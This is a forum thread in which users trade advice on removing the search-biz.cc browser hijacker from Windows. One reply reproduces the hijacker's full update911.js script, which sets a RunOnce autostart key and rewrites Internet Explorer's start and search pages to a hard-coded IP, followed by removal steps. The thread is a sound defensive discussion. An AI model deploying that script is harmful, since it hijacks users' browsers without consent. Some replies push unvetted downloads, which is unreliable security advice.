Help Please search-biz.cc

[Zire]

Hey,

I hate this search-biz crap. I only want to use google for my searches. Apparently I clicked on install when I didn't and now it seems as if I have to keep this stupid thing. Even tried visiting the site and got a "cleaner" but it did not work. Anyone please help...

[Alexander Turcic]

It looks like you've got some adware installed on your system. It's hijacking IE
and redirecting it to the ad site. Download an updated version of Ad-Aware and/or Spybot S&D, run a complete scan, and let it get rid of everything it finds.

Other suggestions:
- Go into IE -> Tools -> Internet Options -> Programs, and reset it to default web settings.
- Search the registry for "search-biz.cc".

Tell me if you need more help!

Alex

[Zire]

Used Spybot already and it didn't work. How can I search the registry? I don't want to mess up the computer it's the corporate one.

[Alexander Turcic]

Start -> Run... -> type RegEdit

In RegEdit, press CTRL+F and search for "search-biz.cc".

If you don't know what you are doing, tell me the names of the registry keys where the search term is found. Make sure to press F3 key each time the term was found to continue searching.

tried searching for it in the registry but couldent find it. anyone know the reg to delet or any other suggestions?

Originally Posted by Unregistered

tried searching for it in the registry but couldent find it. anyone know the reg to delet or any other suggestions?

I've been trying to remove search-biz.cc for about a week now too. I sent an email to the admin of http://search-biz.cc and only got the following response. Hopefully running ad-aware got rid of their registry entries. Don't waste your time trying to get in touch with people at search-biz.cc. They're Russian (which obviously means they don't have to comply with federal regulations regarding spam) and probably couldn't give a damn how many people they screw with. I also wouldn't even trust their cleaner.exe - who knows what THAT program could do especially if you give that program additional permission to run its program.

MESSAGE:

If you experience any problems with our cleaner.exe software, or if
you wish to use an alternative way of removing our software, please
download Spy Bot at http://www.safer-networking.org/index.php?page=spybotsd
--
WBR
Ivan Sergeev
The department on struggle with
affilates which is broken with rules
of advertising of Realnii Poisk LLC.
mailto:ranker@pisem.net

[Alexander Turcic]

I would also definitely warn against running their tool (cleaner.exe). It appears Spybot knows how to remove search-biz, as it was even mentioned by them. So zire71man, have you downloaded the latest rules files for Spybot?

[Zire]

I did Alex and it's still doing it.

Their IP adress is 81.211.105.44 try a registry search of like 81.211 and you will see them in several spots.

I have the same problems as the other people on this board, but I'm sorry, I don't trust anyone who says to download some other program any more than I would trust that f***ing search-biz bullsh** cleaner.exe. Who has a solution that reportedly works that doesn't involve downloading anything? Can this search-biz person legally do what he's doing? What can we do to make his life hell?

[Dmc]

We could smash his watermelons untill he cries like a little girl or alternatively we could all email that dude complaining that we have the same problem. If he gets enough of the same email with the same issue he would have to, morally, think up an easy to do fix (without using another 3rd party SW) to shut us up.

[wumpi]

Heh, sounds cool. But be careful - if you email him, he might use your email for more spamming purposes.

Seriously, you must do the following:
A file called update911.js is placed in your WinNT or Windows directory

Content of the file:

var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD")

It is called in the Windows registry;
1. Open Regedit Start/Run/regedit.exe
2. search for "update911.js" and delete the key(s)
2. search for "http://81.211.105.9/index.php?v=1" and delete the
key(s)
3. Delete the file update911.js in your windows folder

You can also find some info on Sophos's Anti-Virus page.

Wumpi

Originally Posted by zire71man

Hey,

I hate this search-biz crap. I only want to use google for my searches. Apparently I clicked on install when I didn't and now it seems as if I have to keep this stupid thing. Even tried visiting the site and got a "cleaner" but it did not work. Anyone please help...

i got rid of it by going to http://housecall.trendmicro.com/ and scanning my computer with their virus scan. you have to search for it and remember the name of the files (its either 2 or 3 and they will be in C:/WINNT) restart windows in safe mode and delete them manually, btw they are hidden files so u will need to show hidden files.

Download this program, it really works

http://www.spywareinfo.com/~merijn/junk/CWShredder.exe

any question: bartman_dj@mail2v.com

I have a solution that works. At least for me it did.

Go to you system folder (for Windows 9x its C:\windows\system) and delete the files XPlugin.dll and tmksrvu.exe. If you get the access denied error, jsut check to see if you have IE open.

I haven't tried this on windows 2k , but it works on windows ME.

Originally Posted by zire71man

Hey,

I hate this search-biz crap. I only want to use google for my searches. Apparently I clicked on install when I didn't and now it seems as if I have to keep this stupid thing. Even tried visiting the site and got a "cleaner" but it did not work. Anyone please help...